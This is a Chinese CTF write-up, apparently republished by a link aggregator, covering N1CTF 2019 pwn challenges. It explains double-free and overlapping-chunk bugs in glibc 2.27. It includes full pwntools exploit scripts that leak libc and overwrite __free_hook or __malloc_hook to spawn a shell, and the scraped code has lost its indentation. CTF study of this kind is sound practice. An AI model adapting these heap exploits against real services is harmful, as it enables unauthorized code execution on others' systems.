4

N1CTF2019 部分pwn题解

 3 years ago
source link: https://ama2in9.top/2020/09/03/N1CTF2019/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

n1ctf2019部分pwn题解

warmup

程序free的时候会把chunk_addr放到bss里,free(ptr)完毕清空list但是不清空ptr,因此会有double free,但只是针对当前块。edit是从chk_lis取地址进ptr,因此没有UAF。先double free,部分写分配到前面的heap修改size,由于libc版本是2.27,改完size后free8次得到ub。

由于只能固定分配0x50大小的chunk,我们先用double free改掉打算做overlapping chunk的size为0x41,再free的话放入tcache[0x40],从而malloc(0x40)的时候不会用到这个块,构造overlapping chunk,让刚才tcache的fd写入main_arena+96,再部分写改成stdout,其size再改回0x51,最后用double free构造分配链到这个chunk,最终可以分配stdout,后面泄露地址,拿shell即可。

bins

exp.py

关闭地址随机化的非爆破版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#coding=utf-8
from pwn import *
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./warmup')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./warmup')

def Add(content):
p.recvuntil('>>')
p.sendline('1')
p.recvuntil("content>>")
p.send(content)

def Delete(index):
p.recvuntil('>>')
p.sendline('2')
p.recvuntil("index:")
p.sendline(str(index))

def Edit(index,content):
p.recvuntil('>>')
p.sendline('3')
p.recvuntil("index:")
p.sendline(str(index))
p.recvuntil("content>>")
p.send(content)

def exp():
#leak libc
Add('0')#0
Add('1')#1
Add('2')#2
Add('3')#3
Add('4')#4
Delete(2)
Delete(1)
Delete(1)

Add('\x60')#1
Add('\x00')#2 == initial 1
Add(p64(0)+p64(0xf1))#6
for i in range(8):
Delete(0)
Delete(3)
Delete(1)
Delete(1)
Edit(2,'\xb0')
#
Add('0')#0
Add(p64(0)+p64(0x41))#1
Delete(0)
Add('0')#0
Add('3')#0

Edit(1,p64(0)+p64(0x51))
Edit(2,'\x60\x07\xdd')
#

Delete(4)
Delete(4)
Delete(0)
Delete(0)
Add('\xc0')#0
Add('a')#6
Add('a')#7

Add(p64(0xfbad1800)+p64(0)*3+'\x00')#8
#
p.recvn(0x20)
libc_base = u64(p.recv(8)) - (0x7ffff7dcf780-0x7ffff79e4000)
libc.address = libc_base
log.success("libc base => " + hex(libc_base))
#get shell

Delete(0)
Edit(4,p64(libc.sym['__free_hook']))
Add('/bin/sh\x00')
Add(p64(libc.sym['system']))#8
Delete(0)
p.interactive()

exp()

babypwn

Throw的时候double free,由于程序只能add十次,需要用完清空,bss上有stdout,stdin,stderr,以stdin的’\x7f’为fake size构造fake chunk,部分写stderr(部分写stdout清空bss的时候会使得输出紊乱)。最后构造free链,分配到bss上stderr部分时第二次清空bss最终one_gadget覆写malloc_hook即可。(注意一旦free链形成之后我们可以清空其fd)

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#coding=utf-8
from pwn import *
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./babypwn')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./babypwn')

def Add(name,des_size,des,flag=1):
if flag == 1:
p.recvuntil('choice:')
else:
p.recvuntil('3.Exit\n')
p.sendline('1')
p.recvuntil("Member name:")
p.send(name)
p.recvuntil("Description size:")
p.sendline(str(des_size))
p.recvuntil("Description:")
p.send(des)

def Add1(name,des_size,des):
p.recvuntil('3.Exit\n\n======================')
p.sendline('1')
time.sleep(0.05)
p.send(name)
time.sleep(0.05)
p.sendline(str(des_size))
time.sleep(0.05)
p.send(des)

def Throw(index,flag=1):
if flag:
p.recvuntil('choice:')
else:
p.recvuntil('3.Exit\n\n======================')
p.sendline('2')
if flag:
p.recvuntil("index:")
else:
time.sleep(0.05)
p.sendline(str(index))

def exp():
#leak libc
Add('0',0x68,'0')#0
Add('1',0x68,'1')#1
Throw(0)
Throw(1)
Throw(0)
#fake stdout

fake_chunk = 0x60201d
Add('2',0x68,p64(fake_chunk))#2 == ini 0
Add('3',0x68,'3')
Add('4',0x68,'4')# 4 == ini 0
Add('5',0x68,'\x00'*3+p64(0)+p64(0x71)+'\xdd\x25')#

p.sendline()
#memeset the buf
fake_chunk = 0x60203d
Throw(2)
Throw(3)
Throw(2)

Add('6',0x68,p64(fake_chunk))
Add('7',0x68,'7')
Add('8',0x68,'8')
Add('9',0x68,'\x00'*11+p64(0x31)+p64(0)*10)
Add('0',0x68,'0')
Add('1',0x68,'1')
Throw(0)
Throw(1)
Throw(0)
fake_chunk = 0x602030
#memset the buf

Add('2',0x68,p64(fake_chunk))
Add('3',0x68,'3')
Add('4',0x68,'4')

Add('5',0x68,'\x00'*0x68)#0x602020
Add('0',0x68,'\x00'*0x33+p64(0xfbad1800)+p64(0)*3+'\x00')

#2 == 4
p.recvuntil("\xff\x7f\x00\x00",drop=True)
libc_addr = u64(p.recvn(8))
log.success("libc addr => " + hex(libc_addr))
libc_base = libc_addr - (0x7ffff7dd26a3-0x7ffff7a0d000)
libc.address = libc_base
log.success('libc base => ' + hex(libc_base))
#2 == 4
#get shell
Add('1',0x68,'1')
Add('2',0x68,'2')
Throw(1)
Throw(2)
Throw(1)
Add('3',0x68,p64(libc.sym['__malloc_hook']-0x23))
Add('4',0x68,'4')
Add('5',0x68,'5')
Add('6',0x68,'\x00'*0x13+p64(libc_base+gadgets[2]))
#gdb.attach(p)
Throw(3)
Throw(3)
p.interactive()

exp()

这道题是很新颖的题目,自己做不出,看着Ex师傅的exp勉强懂了一点,这里记录一下大概思路,具体漏洞的产生请移步Ex师傅这里。
Ex

程序维护了一个结构体列表,模拟排队,每次有新人进来之后用户输入ID,如果ID为负数或者队伍中已经有相同ID就退出,否则去看排队的人数,如果超过上限之后触发离队的逻辑,free掉分配的堆块。

forward_line是离队的逻辑函数,这里会将最先排队的人释放,释放调用people_quie,遍历people_list寻找目标ID,找到后free并将is_waiting置为false。

程序源代码没有问题,问题出现在编译过程中,代码的指令集是AVX,优化过程导致lookup_people的逻辑出现问题,这个问题导致的结果是当我们添加相同ID的堆块的时候lookip_line的返回值绕过了判断逻辑(触发条件为第一个ID所在的index=0),可以添加相同的堆块,进而在Free第一个ID的时候Free了两个块(1 && 2),再次Free这个ID的时候Free了(1),即double free。

泄露libc可以申请8次大的chunk,得到ub,用malloc size = 1的块绕过memset的清空,得到libc_base,再用刚才的漏洞获取shell。

Ex.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system(
'rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''

# '''

# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './line'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('', 0)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
gdbscript = '''
define pr
x/8wx $rebase(0x202140)
end
'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

def New(id, size, content):
sh.sendlineafter('choice: ', '1')
sh.sendlineafter('ID: ', str(id))
sh.sendlineafter('SIZE: ', str(size))
sh.send(content)

def show():
sh.sendlineafter('choice: ', '2')

for i in range(8):
New(i + 1, 0xf8, '\n')

for i in range(7):
New(i + 0x10, 0x28, '\n')

New(0x100, 1, '\xa0')
show()
sh.recvuntil('8 : 256 (')
result = sh.recvuntil(')', drop=True)
main_arena_addr = u64(result.ljust(8, '\0')) - 0x160
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x10)
log.success('libc_addr: ' + hex(libc_addr))

New(0x100, 1, '\n')

for i in range(7):
if(0x20 + i == 0x23):
New(0x20 + i, 0x38, '/bin/sh\0')
else:
New(0x20 + i, 0x38, '\n')

New(0x101, 0x38, '\n')
New(0x102, 0x18, p64(libc_addr + libc.symbols['__free_hook']))
New(0x103, 0x18, '\n')
New(0x104, 0x18, p64(libc_addr + libc.symbols['system']))
sh.sendlineafter('choice: ', '1')
sh.sendlineafter('ID: ', str(0x105))

sh.interactive()
clear()

Ex师傅


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK